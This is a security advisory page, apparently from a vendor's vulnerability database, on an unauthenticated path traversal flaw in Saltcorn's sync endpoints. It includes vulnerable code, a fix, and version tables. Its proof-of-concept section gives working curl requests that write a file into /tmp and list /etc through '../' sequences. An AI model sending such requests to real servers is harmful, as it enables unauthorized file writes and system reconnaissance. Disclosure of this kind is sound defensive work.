GHSA-32pv-mpqg-h292 — @saltcorn/server
HIGHGHSA-32pv-mpqg-h292 is a high-severity (CVSS 8.2) Path Traversal vulnerability in @saltcorn/server. A fix is available for @saltcorn/server — see the affected versions and patch details below.
Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-32pv-mpqg-h292.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-32pv-mpqg-h292 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@saltcorn/servernpmDescription
Summary
Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.
The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.
Details
Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)
The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir
await fs.writeFile(
path.join(syncDir, "changes.json"),
JSON.stringify(changes) // writes attacker content
);
No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.
Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)
The dir_name query parameter is used directly in path.join() without sanitization:
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);
Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.
Contrast — fixed endpoint in the same file (line 342):
The clean_sync_dir endpoint correctly uses File.normalise_in_base():
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });
PoC
# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
-H "Content-Type: application/json" \
-d '{
"newSyncTimestamp": "../../../../tmp/saltcorn_poc",
"oldSyncTimestamp": "0",
"changes": {"proof": "path_traversal_write"}
}'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content
# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"
Impact
- Unauthenticated arbitrary directory creation anywhere on the filesystem
- Unauthenticated arbitrary JSON file write (
changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories
- Unauthenticated read of specific JSON files from arbitrary directories
- Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)
Remediation
Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:
// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
syncDirName
);
if (!syncDir) {
return res.status(400).json({ error: "Invalid sync directory name" });
}
// upload_finished fix
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (!syncDir) {
return res.json({ finished: false });
}
Additionally, add loggedIn middleware to endpoints that modify server state.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.4.5npm install @saltcorn/server@1.4.5 |
| 📦npm | @saltcorn/server | ≥ 1.5.0-beta.0&&< 1.5.5 | 1.5.5npm install @saltcorn/server@1.5.5 |
| 📦npm | @saltcorn/server | ≥ 1.6.0-alpha.0&&< 1.6.0-beta.4 | 1.6.0-beta.4npm install @saltcorn/server@1.6.0-beta.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @saltcorn/server to 1.4.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-32pv-mpqg-h292 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-32pv-mpqg-h292 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-32pv-mpqg-h292. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-32pv-mpqg-h292 in your dependencies?
O3 Security finds GHSA-32pv-mpqg-h292 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.